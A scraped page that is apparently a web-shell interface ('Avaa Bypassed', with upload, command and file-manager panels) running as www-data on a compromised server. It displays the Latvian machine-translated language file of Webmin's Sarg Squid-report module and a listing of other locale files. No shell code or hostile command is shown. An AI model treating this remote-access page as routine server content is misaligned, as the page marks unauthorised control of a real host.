[ Avaa Bypassed ]




Upload:

Command:

www-data@3.139.237.218: ~ $
index_title=Kalmāru ziņojumu ģenerators
index_econf=Sarg konfigurācijas fails $1 jūsu sistēmā netika atrasts. Varbūt Sarg nav instalēts, vai <a href='$2'>moduļa konfigurācija</a> ir nepareiza.
index_ecmd=Sarg programma $1 jūsu sistēmā netika atrasta. Varbūt tas nav instalēts, vai <a href='$2'>moduļa konfigurācija</a> ir nepareiza.
index_eversion=Neizdevās iegūt Sarg versiju ar komandu $1 : $2 
index_version=Sargas versija $1 
index_generate=Ģenerēt pārskatu tūlīt
index_generatedesc=Noklikšķiniet uz šīs pogas, lai nekavējoties ģenerētu Sarg ziņojumu $1, izmantojot pašreizējo konfigurāciju.
index_clear=Vai izdzēst esošo pārskatu direktorijā?
index_range=Ģenerēt pārskatu par datumu diapazonu
index_view=Skatīt ģenerēto pārskatu
index_viewdesc=Skatiet nesen ģenerēto pārskatu direktorijā $1.
index_return=moduļa indekss

log_title=Žurnāla avots un ziņojuma mērķis
log_header=Avota kalmāru žurnālfails un ģenerētās pārskata opcijas
log_access_log=Avota kalmāru žurnālfails
log_squid=Pašreizējais kalmāru servera žurnāls ($1)
log_other=Cits fails
log_output_dir=Galamērķa pārskata katalogs
log_output_email=Nosūtīt ziņojumu pa e-pastu
log_nowhere=Nekur
log_useragent_log=Lietotāja aģenta žurnālfails
log_lastlog=Saglabājamo pārskatu skaits
log_unlimit=Neierobežots
log_mail_utility=Pasta sūtīšanas komanda
log_remove_temp_files=Vai izdzēst pagaidu failus pēc ziņošanas?
log_err=Neizdevās saglabāt žurnāla avota opcijas
log_efile=Fails neeksistē
log_edir=Katalogs neeksistē
log_elastlog=Trūkst vai nav numura
log_eemail=Trūkst vai ir nederīga e-pasta adrese
log_emailx=Trūkst vai vispār nav pasta programmas
log_squidguard_log_path=SquidGuard žurnālfails

style_title=Ziņojuma stils
style_header=HTML atskaites stila un krāsu opcijas
style_title2=Ziņojuma nosaukums
style_font_face=Ziņojuma pamatteksts
style_header_color=Galvenes krāsa
style_header_bgcolor=Galvenes fona krāsa
style_header_font_size=Galvenes fonta lielums
style_background_color=Fona krāsa
style_text_color=Teksta krāsa
style_text_bgcolor=Teksta fona krāsa
style_title_color=Virsraksta krāsa
style_logo_image=Attēla atsauce uz logotipu
style_image_size=Attēla lielums (platums un augstums)
style_logo_text=Teksts logotipam
style_logo_text_color=Logotipa teksta krāsa
style_background_image=Attēla atsauce uz fonu
style_err=Neizdevās saglabāt pārskata stila opcijas
style_etitle=Trūkst pārskata nosaukuma
style_ecolour=Trūkst vai nav derīgs krāsu nosaukums vai RRGGBB kods
style_efontsize=Trūkst vai nav derīgs fonta lieluma nobīde
style_efont=Trūkst vai nav derīgs fonta nosaukums
style_esize=Trūkst vai nav derīgs attēla platums un augstums
style_language=Ziņojuma valoda
style_charset=Ziņot par rakstzīmju kopu

report_title=Pārskata iespējas
report_header=Ziņot par saturu un ģenerēšanas iespējām
report_resolve_ip=Atrisināt IP adreses?
report_user_ip=Lietot IP adreses, nevis lietotāja ID?
report_user_sort_field=Pasūtīšana lietotāja pārskatam
report_topuser_sort_field=Pasūtījums top lietotāju pārskatam
report_reverse=Apgrieztā secībā
report_forward=Uz priekšu
report_by_user=Pēc lietotājvārda
report_by_connect=Pēc savienojuma izveidošanas laika
report_by_bytes=Pēc baitiem
report_by_time=Ar laiku
report_by_site=Pēc vietnes
report_exclude_users=Failu ierakstu lietotāji, kurus izslēgt
report_exclude_hosts=Lai izslēgtu failu saraksta resursdatorus
report_index=Vai atkārtoti ģenerēt <tt>index.html</tt> failu?
report_only=Ģenerējiet tikai <tt>index.html</tt>
report_overwrite_report=Vai pārrakstīt datuma pārskatu?
report_overno=Nē, pārdēvējiet ar.1
report_records_without_userid=Darbība ierakstiem bez lietotāja?
report_ignore=Pilnīgi ignorēt
report_ip=Tā vietā izmantojiet IP adresi
report_everybody=Izmantojiet lietotājvārdu <tt>visi</tt>
report_use_comma=Izmantojiet komatu, nevis. skaitļos?
report_topsites_num=Attēlojamo vietņu skaits
report_topsites_sort_order=Pasūtīšana top vietņu pārskatam
report_sorta=Augoši
report_sortd=Dilstošā secībā
report_index_sort_order=Saišu pasūtīšana sadaļā <tt>index.html</tt>
report_exclude_codes=Lai izslēgtu failus, iekļaujiet HTTP kodus
report_max_elapsed=Maksimālais pagājušais laiks (ms)
report_report_type=Pārskata sadaļas, lai ģenerētu
report_topsites=Populārākās vietnes
report_topusers=Populārākie lietotāji
report_sites_users=Lietotāja vietnes
report_users_sites=Lietotāji pēc vietnes
report_date_time=Lietošana pa dienu un stundu
report_denied=Vietnes noraidītas
report_downloads=Lejupielādes
report_auth_failures=Autentifikācijas kļūmes
report_site_user_time_date=Vietnes, datumi, laiki un baiti
report_all=Visi pārskati
report_below=Atlasīts zemāk ..
report_usertab=Lietotājvārda kartēšanas fails
report_long_url=Vai rādīt pilnus URL pārskatā?
report_date_time_by=Kārtot datuma/laika pārskatu pēc
report_bytes=Baiti
report_elap=Pagājis laiks
report_user_invalid_char=Nederīgas rakstzīmes lietotājvārdos
report_privacy=Vai paslēpt apmeklētās vietnes?
report_privacy_string=Apmeklēto vietņu aizstāšanas teksts
report_privacy_string_color=Krāsa aizvietojošam tekstam
report_below2=Iebraukts zem ..
report_include_users=Ģenerēt pārskatu tikai lietotājiem
report_exclude_string=Izslēgt žurnālu līnijas, kurās ir
report_allusers=Visi lietotāji
report_nostrings=Neizslēdz nevienu
report_topuser_num=Parādāmo labāko lietotāju skaits
report_site_user_time_date_type=Vietnes, lietotāja, datuma un laika tabulas formāts
report_table=HTML tabula
report_list=Teksta saraksts
report_displayed_values=Rādīt satiksmi kā
report_bytes2=Baiti
report_abbrev=Saīsināts (K, M, G)
report_weekdays=Pārskatā iekļaujamās darba dienas
report_weekdays0=Su
report_weekdays1=Mo
report_weekdays2=Tu
report_weekdays3=Mēs
report_weekdays4=Th
report_weekdays5=Fr
report_weekdays6=Sa
report_hours=Pārskatā iekļaujamās stundas
report_err=Neizdevās saglabāt pārskata opcijas
report_efile=Fails neeksistē
report_enum=Nav skaitlis
report_echar=Atstarpes nav atļautas
report_estring=Trūkst vai nav derīgs aizvietojošs teksts
report_eselect=Nekas nav atlasīts
report_eenter=Nekas neiebrauca

sched_title=Plānota ziņojuma ģenerēšana
sched_header=Plānotas ziņošanas iespējas
sched_sched=Plānotais ziņojums ir iespējots?
sched_yes=Jā, reizēm, kas atlasītas zemāk.
sched_clear=Vai katru reizi notīrīt pārskatu direktoriju?
sched_dir=Pārskatu direktorijs
sched_edir=Lapā <a href='$1'>Žurnāla avots un Ziņojuma mērķis</a> nav definēts mērķa pārskata direktorijs. Tas jāiestata, lai varētu iespējot plānotos pārskatus.
sched_esfile=Lapā <a href='$1'>Žurnāla avots un Ziņojuma mērķis</a> nav definēts kalmāru žurnālfails. Tas jāiestata, lai varētu iespējot plānotos pārskatus.
sched_range=Ģenerēt pārskatu par datumu diapazonu
sched_rall=Visi ieraksti žurnālfailā
sched_rsel=Tie, kas bija no $1 līdz $2 dienas atpakaļ
sched_err=Neizdevās saglabāt plānoto pārskatu ģenerēšanu
sched_erfrom=Trūkst vai nav derīgs sākuma dienu skaits
sched_erto=Trūkst vai nav derīgs beigu dienu skaits

view_title=Sarga ziņojums
view_efile=Nederīgs faila nosaukums!
view_eopen=Neizdevās atvērt pārskata failu

gen_title=Ģenerēt pārskatu
gen_header=Tagad tiek ģenerēts Sarg ziņojums no kalmāru žurnālfaila $1 un visām pagrieztajām versijām.
gen_done=.. darīts
gen_failed=.. Sargs neizdevās! Skatīt sīkāku informāciju.
gen_nothing=.. Sargs pabeidza, bet neviens ziņojums netika izveidots. Skatīt sīkāku informāciju.
gen_view=Skatīt pabeigto ziņojumu.
gen_err=Neizdevās ģenerēt pārskatu
gen_efrom=Trūkst vai nav derīgs no dienas
gen_eto=Trūkst vai nav derīgs

webmin_log_log=Atjauninātas žurnāla avota un pārskata mērķa iespējas
webmin_log_report=Atjauninātas pārskata iespējas
webmin_log_style=Atjauninātas pārskata stila opcijas
webmin_log_sched_create=Iespējota plānotā ziņošana
webmin_log_sched_delete=Atspējota plānotā ziņošana
webmin_log_sched_update=Atjaunināts plānotais pārskats
webmin_log_sched_nothing=Kreisā plānotā atskaite ir atspējota
webmin_log_generate=Ģenerēts ziņojums

Filemanager

Name Type Size Permission Actions
af.auto File 7.78 KB 0644
ar.auto File 10.06 KB 0644
be.auto File 12.71 KB 0644
bg.auto File 12.53 KB 0644
ca File 8.59 KB 0644
cs.auto File 8.2 KB 0644
da.auto File 7.67 KB 0644
de File 7.92 KB 0644
el.auto File 13.33 KB 0644
en File 7.23 KB 0644
es File 8.12 KB 0644
es.auto File 115 B 0644
eu.auto File 8.25 KB 0644
fa File 10.64 KB 0644
fa.auto File 637 B 0644
fi.auto File 8.15 KB 0644
fr File 150 B 0644
fr.auto File 8.52 KB 0644
he.auto File 9.02 KB 0644
hr.auto File 8.21 KB 0644
hu.auto File 8.65 KB 0644
it.auto File 8.27 KB 0644
ja.auto File 9.68 KB 0644
ko.auto File 8.58 KB 0644
lt.auto File 8.43 KB 0644
lv.auto File 8.1 KB 0644
ms.auto File 7.84 KB 0644
mt.auto File 8.3 KB 0644
nl File 7.81 KB 0644
nl.auto File 58 B 0644
no File 7.76 KB 0644
pl.auto File 8.36 KB 0644
pt.auto File 8.3 KB 0644
pt_BR.auto File 8.3 KB 0644
ro.auto File 8.47 KB 0644
ru.auto File 12.12 KB 0644
sk.auto File 8.37 KB 0644
sl.auto File 8.25 KB 0644
sv.auto File 7.74 KB 0644
th.auto File 14.88 KB 0644
tr.auto File 8.28 KB 0644
uk.auto File 12 KB 0644
ur.auto File 10.54 KB 0644
vi.auto File 9.29 KB 0644
zh.auto File 6.85 KB 0644
zh_TW.auto File 6.85 KB 0644